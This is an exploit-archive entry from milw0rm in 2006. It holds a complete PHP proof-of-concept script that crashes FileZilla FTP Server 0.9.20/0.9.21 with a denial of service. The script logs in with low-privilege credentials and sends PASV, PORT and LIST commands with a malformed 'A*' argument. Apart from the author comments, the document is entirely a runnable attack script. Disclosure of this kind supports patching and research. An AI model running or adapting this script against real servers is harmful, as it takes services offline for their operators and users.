FileZilla FTP Server 0.9.21 - 'LIST/NLST' Denial of Service

<?php

# Filezilla FTP Server 0.9.20 beta / 0.9.21 "LIST", "NLST" and "NLST -al" Denial Of Service
# by shinnai
# mail: shinnai[at]autistici[dot[org]
# site: http://shinnai.altervista.org
#
# special thanks to rgod for his first advisory about "STOR" Denial of service, see: http://retrogod.altervista.org/filezilla_0921_dos.html
# and for code in php I never could write alone ;)
# This one works fine also with an user with only read and list permissions enabled
# you can change the LIST command also with NLST or NLST -al comamnds

# tested on Windows XP Professional SP2 all patched

error_reporting(E_ALL);

$service_port = getservbyname('ftp', 'tcp');
$address = gethostbyname('127.0.0.1');

$user="test";
$pass="test";

$junk.="A*";

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
  echo "socket_create() failed:\n reason: " . socket_strerror($socket) . "\n";
} else {
  echo "OK.\n";
}

$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
  echo "socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n";
} else {
  echo "OK.\n";
}

$out=socket_read($socket, 240);
echo $out;

$in = "USER ".$user."\r\n";
socket_write($socket, $in, strlen ($in));

$out=socket_read($socket, 80);
echo $out;

$in = "PASS ".$pass."\r\n";
socket_write($socket, $in, strlen ($in));

$out=socket_read($socket, 80);
echo $out;

$in = "PASV ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));

$in = "PORT ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));

$in = "LIST ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));

socket_close($socket);

?>

# milw0rm.com [2006-12-11]